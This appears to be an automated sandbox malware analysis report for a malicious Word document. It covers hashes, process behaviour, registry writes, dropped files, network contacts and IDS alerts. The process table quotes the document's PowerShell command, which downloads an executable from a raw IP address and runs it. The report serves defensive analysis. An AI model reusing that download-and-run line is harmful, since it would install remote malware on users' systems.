| File name: | 99eb1d90eb5f0d012f35fcc2a7dedd2229312794354843637ebb7f40b74d0809.doc |
| Full analysis: | https://app.any.run/tasks/4e8d2e60-908d-4093-83a4-64515b48e5b0 |
| Verdict: | Malicious activity |
| Threats: | Trojans are a group of malicious programs distinguished by their ability to masquerade as benign software. Depending on their type, trojans possess a variety of capabilities, ranging from maintaining full remote control over the victim’s machine to stealing data and files, as well as dropping other malware. At the same time, the main functionality of each trojan family can differ significantly depending on its type. The most common trojan infection chain starts with a phishing email. |
| Analysis date: | September 18, 2019, 21:46:24 |
| OS: | Windows 7 Professional Service Pack 1 (build: 7601, 32 bit) |
| Tags: | |
| Indicators: | |
| MIME: | application/msword |
| File info: | Composite Document File V2 Document, Little Endian, Os: Windows, Version 6.2, Code page: 1252, Author: jnmnGw, Template: Normal, Last Saved By: Windows User, Revision Number: 1, Name of Creating Application: Microsoft Office Word, Create Time/Date: Fri Apr 13 13:19:00 2018, Last Saved Time/Date: Fri Apr 13 13:19:00 2018, Number of Pages: 1, Number of Words: 0, Number of Characters: 1, Security: 0 |
| MD5: | 16BA8F5D604B4B9A366AE2D5B2107E68 |
| SHA1: | 878F05A0DDC78DB92CD844B5D13BE93E7B25F343 |
| SHA256: | 99EB1D90EB5F0D012F35FCC2A7DEDD2229312794354843637EBB7F40B74D0809 |
| SSDEEP: | 6144:FvLzpvvAi+VLE5DnxWCDWSQB2Zye7+rXMl:pzpvv+pE5DxWskrX |
MALICIOUS
Executes PowerShell scripts
- WINWORD.EXE (PID: 2736)
Unusual execution from Microsoft Office
- WINWORD.EXE (PID: 2736)
Starts Visual C# compiler
- sdiagnhost.exe (PID: 2232)
SUSPICIOUS
Creates files in the user directory
- powershell.exe (PID: 2640)
- powershell.exe (PID: 3928)
Executes PowerShell scripts
- powershell.exe (PID: 2640)
Application launched itself
- powershell.exe (PID: 2640)
Executed via COM
- sdiagnhost.exe (PID: 2232)
Executable content was dropped or overwritten
- msdt.exe (PID: 2676)
Uses IPCONFIG.EXE to discover IP address
- sdiagnhost.exe (PID: 2232)
INFO
Creates files in the user directory
- WINWORD.EXE (PID: 2736)
Reads Microsoft Office registry keys
- WINWORD.EXE (PID: 2736)
Manual execution by user
- msdt.exe (PID: 2676)
Find more information about signature artifacts and mapping to MITRE ATT&CK™ MATRIX at the full report
TRiD
| .doc | | | Microsoft Word document (54.2) |
|---|---|---|
| .doc | | | Microsoft Word document (old ver.) (32.2) |
EXIF
FlashPix
| Title: | - |
|---|---|
| Subject: | - |
| Author: | jnmnGw |
| Keywords: | - |
| Comments: | - |
| Template: | Normal |
| LastModifiedBy: | Windows User |
| RevisionNumber: | 1 |
| Software: | Microsoft Office Word |
| TotalEditTime: | - |
| CreateDate: | 2018:04:13 12:19:00 |
| ModifyDate: | 2018:04:13 12:19:00 |
| Pages: | 1 |
| Words: | - |
| Characters: | 1 |
| Security: | None |
| CodePage: | Windows Latin 1 (Western European) |
| Company: | - |
| Bytes: | 11000 |
| Lines: | 1 |
| Paragraphs: | 1 |
| CharCountWithSpaces: | 1 |
| AppVersion: | 14 |
| ScaleCrop: | No |
| LinksUpToDate: | No |
| SharedDoc: | No |
| HyperlinksChanged: | No |
| TitleOfParts: | - |
| HeadingPairs: |
|
| CompObjUserTypeLen: | 32 |
| CompObjUserType: | Microsoft Word 97-2003 Document |
Total processes
44
Monitored processes
10
Malicious processes
1
Suspicious processes
2
Behavior graph
Click at the process to see the details
Process information
PID | CMD | Path | Indicators | Parent process | |||||||||||
|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|
| 1728 | "C:\Windows\system32\makecab.exe" /f NetworkConfiguration.ddf | C:\Windows\system32\makecab.exe | — | sdiagnhost.exe | |||||||||||
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Microsoft® Cabinet Maker Exit code: 0 Version: 6.1.7600.16385 (win7_rtm.090713-1255) Modules
| |||||||||||||||
| 2232 | C:\Windows\System32\sdiagnhost.exe -Embedding | C:\Windows\System32\sdiagnhost.exe | — | svchost.exe | |||||||||||
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Scripted Diagnostics Native Host Exit code: 0 Version: 6.1.7600.16385 (win7_rtm.090713-1255) Modules
| |||||||||||||||
| 2640 | powershell.exe -w 1 (New-Object System.Net.WebClient).DownloadFile('http://185.189.58.222/x.exe',([System.IO.Path]::GetTempPath()+'\PHfW.exe'));powershell.exe -w 1 Start-Process -Filepath ([System.IO.Path]::GetTempPath()+'\PHfW.exe'); | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | WINWORD.EXE | ||||||||||||
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Windows PowerShell Exit code: 1 Version: 6.1.7600.16385 (win7_rtm.090713-1255) Modules
| |||||||||||||||
| 2676 | "C:\Windows\System32\msdt.exe" -skip TRUE -path C:\Windows\diagnostics\system\networking -ep NetworkDiagnosticsPNI | C:\Windows\System32\msdt.exe | explorer.exe | ||||||||||||
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Diagnostics Troubleshooting Wizard Exit code: 4294967295 Version: 6.1.7600.16385 (win7_rtm.090713-1255) Modules
| |||||||||||||||
| 2736 | "C:\Program Files\Microsoft Office\Office14\WINWORD.EXE" /n "C:\Users\admin\AppData\Local\Temp\99eb1d90eb5f0d012f35fcc2a7dedd2229312794354843637ebb7f40b74d0809.doc" | C:\Program Files\Microsoft Office\Office14\WINWORD.EXE | — | explorer.exe | |||||||||||
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Microsoft Word Exit code: 0 Version: 14.0.6024.1000 Modules
| |||||||||||||||
| 2852 | "C:\Windows\Microsoft.NET\Framework\v2.0.50727\csc.exe" /noconfig /fullpaths @"C:\Users\admin\AppData\Local\Temp\vrvycipe.cmdline" | C:\Windows\Microsoft.NET\Framework\v2.0.50727\csc.exe | sdiagnhost.exe | ||||||||||||
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Visual C# Command Line Compiler Exit code: 0 Version: 8.0.50727.4927 (NetFXspW7.050727-4900) Modules
| |||||||||||||||
| 2888 | "C:\Windows\system32\ipconfig.exe" /all | C:\Windows\system32\ipconfig.exe | — | sdiagnhost.exe | |||||||||||
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: IP Configuration Utility Exit code: 0 Version: 6.1.7600.16385 (win7_rtm.090713-1255) Modules
| |||||||||||||||
| 3524 | "C:\Windows\system32\ROUTE.EXE" print | C:\Windows\system32\ROUTE.EXE | — | sdiagnhost.exe | |||||||||||
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: TCP/IP Route Command Exit code: 0 Version: 6.1.7600.16385 (win7_rtm.090713-1255) Modules
| |||||||||||||||
| 3628 | C:\Windows\Microsoft.NET\Framework\v2.0.50727\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\admin\AppData\Local\Temp\RES6935.tmp" "c:\Users\admin\AppData\Local\Temp\CSC6934.tmp" | C:\Windows\Microsoft.NET\Framework\v2.0.50727\cvtres.exe | — | csc.exe | |||||||||||
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Microsoft® Resource File To COFF Object Conversion Utility Exit code: 0 Version: 8.00.50727.4940 (Win7SP1.050727-5400) Modules
| |||||||||||||||
| 3928 | "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -w 1 Start-Process -Filepath C:\Users\admin\AppData\Local\Temp\\PHfW.exe | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | — | powershell.exe | |||||||||||
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Windows PowerShell Exit code: 1 Version: 6.1.7600.16385 (win7_rtm.090713-1255) Modules
| |||||||||||||||
Total events
1 671
Read events
1 205
Write events
461
Delete events
5
Modification events
| (PID) Process: | (2736) WINWORD.EXE | Key: | HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Word\Resiliency\StartupItems |
| Operation: | write | Name: | tc! |
Value: 74632100B00A0000010000000000000000000000 | |||
| (PID) Process: | (2736) WINWORD.EXE | Key: | HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Common\LanguageResources\EnabledLanguages |
| Operation: | write | Name: | 1033 |
Value: Off | |||
| (PID) Process: | (2736) WINWORD.EXE | Key: | HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Common\LanguageResources\EnabledLanguages |
| Operation: | write | Name: | 1033 |
Value: On | |||
| (PID) Process: | (2736) WINWORD.EXE | Key: | HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Installer\UserData\S-1-5-18\Products\00004109D30000000000000000F01FEC\Usage |
| Operation: | write | Name: | WORDFiles |
Value: 1328676894 | |||
| (PID) Process: | (2736) WINWORD.EXE | Key: | HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Installer\UserData\S-1-5-18\Products\00004109D30000000000000000F01FEC\Usage |
| Operation: | write | Name: | ProductFiles |
Value: 1328677008 | |||
| (PID) Process: | (2736) WINWORD.EXE | Key: | HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Installer\UserData\S-1-5-18\Products\00004109D30000000000000000F01FEC\Usage |
| Operation: | write | Name: | ProductFiles |
Value: 1328677009 | |||
| (PID) Process: | (2736) WINWORD.EXE | Key: | HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Word |
| Operation: | write | Name: | MTTT |
Value: B00A0000FA0B238B6A6ED50100000000 | |||
| (PID) Process: | (2736) WINWORD.EXE | Key: | HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Word\Resiliency\StartupItems |
| Operation: | write | Name: | {d! |
Value: 7B642100B00A000004000000000000008C00000001000000840000003E0043003A005C00550073006500720073005C00610064006D0069006E005C0041007000700044006100740061005C0052006F0061006D0069006E0067005C004D006900630072006F0073006F00660074005C00540065006D0070006C0061007400650073005C004E006F0072006D0061006C002E0064006F0074006D00000000000000 | |||
| (PID) Process: | (2736) WINWORD.EXE | Key: | HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Word\Resiliency\StartupItems |
| Operation: | delete value | Name: | {d! |
Value: 7B642100B00A000004000000000000008C00000001000000840000003E0043003A005C00550073006500720073005C00610064006D0069006E005C0041007000700044006100740061005C0052006F0061006D0069006E0067005C004D006900630072006F0073006F00660074005C00540065006D0070006C0061007400650073005C004E006F0072006D0061006C002E0064006F0074006D00000000000000 | |||
| (PID) Process: | (2736) WINWORD.EXE | Key: | HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap |
| Operation: | write | Name: | UNCAsIntranet |
Value: 0 | |||
Executable files
2
Suspicious files
7
Text files
18
Unknown types
4
Dropped files
PID | Process | Filename | Type | |
|---|---|---|---|---|
| 2736 | WINWORD.EXE | C:\Users\admin\AppData\Local\Temp\CVR8F54.tmp.cvr | — | |
MD5:— | SHA256:— | |||
| 2640 | powershell.exe | C:\Users\admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\VUKEG65E3XXBTFBMQBXZ.temp | — | |
MD5:— | SHA256:— | |||
| 3928 | powershell.exe | C:\Users\admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\SPZRVIXKSWIDYW7FM1X0.temp | — | |
MD5:— | SHA256:— | |||
| 2736 | WINWORD.EXE | C:\Users\admin\AppData\Roaming\Microsoft\Templates\~$Normal.dotm | pgc | |
MD5:— | SHA256:— | |||
| 2232 | sdiagnhost.exe | C:\Users\admin\AppData\Local\Temp\vrvycipe.0.cs | — | |
MD5:— | SHA256:— | |||
| 2232 | sdiagnhost.exe | C:\Users\admin\AppData\Local\Temp\vrvycipe.cmdline | — | |
MD5:— | SHA256:— | |||
| 2852 | csc.exe | C:\Users\admin\AppData\Local\Temp\CSC6934.tmp | — | |
MD5:— | SHA256:— | |||
| 2852 | csc.exe | C:\Users\admin\AppData\Local\Temp\vrvycipe.pdb | — | |
MD5:— | SHA256:— | |||
| 3628 | cvtres.exe | C:\Users\admin\AppData\Local\Temp\RES6935.tmp | — | |
MD5:— | SHA256:— | |||
| 2852 | csc.exe | C:\Users\admin\AppData\Local\Temp\vrvycipe.dll | — | |
MD5:— | SHA256:— | |||
Download PCAP, analyze network streams, HTTP content and a lot more at the full report
HTTP(S) requests
1
TCP/UDP connections
2
DNS requests
1
Threats
4
HTTP requests
PID | Process | Method | HTTP Code | IP | URL | CN | Type | Size | Reputation |
|---|---|---|---|---|---|---|---|---|---|
984 | svchost.exe | GET | 200 | 2.18.233.62:80 | http://www.microsoft.com/ | unknown | html | 1020 b | whitelisted |
Download PCAP, analyze network streams, HTTP content and a lot more at the full report
Connections
PID | Process | IP | Domain | ASN | CN | Reputation |
|---|---|---|---|---|---|---|
984 | svchost.exe | 2.18.233.62:80 | www.microsoft.com | Akamai International B.V. | — | whitelisted |
2640 | powershell.exe | 185.189.58.222:80 | — | — | GB | malicious |
DNS requests
Domain | IP | Reputation |
|---|---|---|
www.microsoft.com |
| whitelisted |
Threats
PID | Process | Class | Message |
|---|---|---|---|
2640 | powershell.exe | A Network Trojan was detected | ET INFO Executable Download from dotted-quad Host |
2640 | powershell.exe | A Network Trojan was detected | ET TROJAN Single char EXE direct download likely trojan (multiple families) |
2640 | powershell.exe | Potentially Bad Traffic | ET CURRENT_EVENTS Terse alphanumeric executable downloader high likelihood of being hostile |
984 | svchost.exe | A Network Trojan was detected | ET POLICY Microsoft user-agent automated process response to automated request |
Process | Message |
|---|---|
csc.exe |
*** HR originated: -2147024774
*** Source File: d:\iso_whid\x86fre\base\isolation\com\copyout.cpp, line 1302
|
csc.exe |
*** HR propagated: -2147024774
*** Source File: d:\iso_whid\x86fre\base\isolation\com\enumidentityattribute.cpp, line 144
|
csc.exe |
*** HR propagated: -2147024774
*** Source File: d:\iso_whid\x86fre\base\isolation\com\enumidentityattribute.cpp, line 144
|
csc.exe |
*** HR propagated: -2147024774
*** Source File: d:\iso_whid\x86fre\base\isolation\com\enumidentityattribute.cpp, line 144
|
csc.exe |
*** HR originated: -2147024774
*** Source File: d:\iso_whid\x86fre\base\isolation\com\copyout.cpp, line 1302
|
csc.exe |
*** HR propagated: -2147024774
*** Source File: d:\iso_whid\x86fre\base\isolation\com\enumidentityattribute.cpp, line 144
|
csc.exe |
*** HR propagated: -2147024774
*** Source File: d:\iso_whid\x86fre\base\isolation\com\enumidentityattribute.cpp, line 144
|
csc.exe |
*** HR propagated: -2147024774
*** Source File: d:\iso_whid\x86fre\base\isolation\com\enumidentityattribute.cpp, line 144
|
csc.exe |
*** HR originated: -2147024774
*** Source File: d:\iso_whid\x86fre\base\isolation\com\copyout.cpp, line 1302
|
csc.exe |
*** HR propagated: -2147024774
*** Source File: d:\iso_whid\x86fre\base\isolation\com\enumidentityattribute.cpp, line 144
|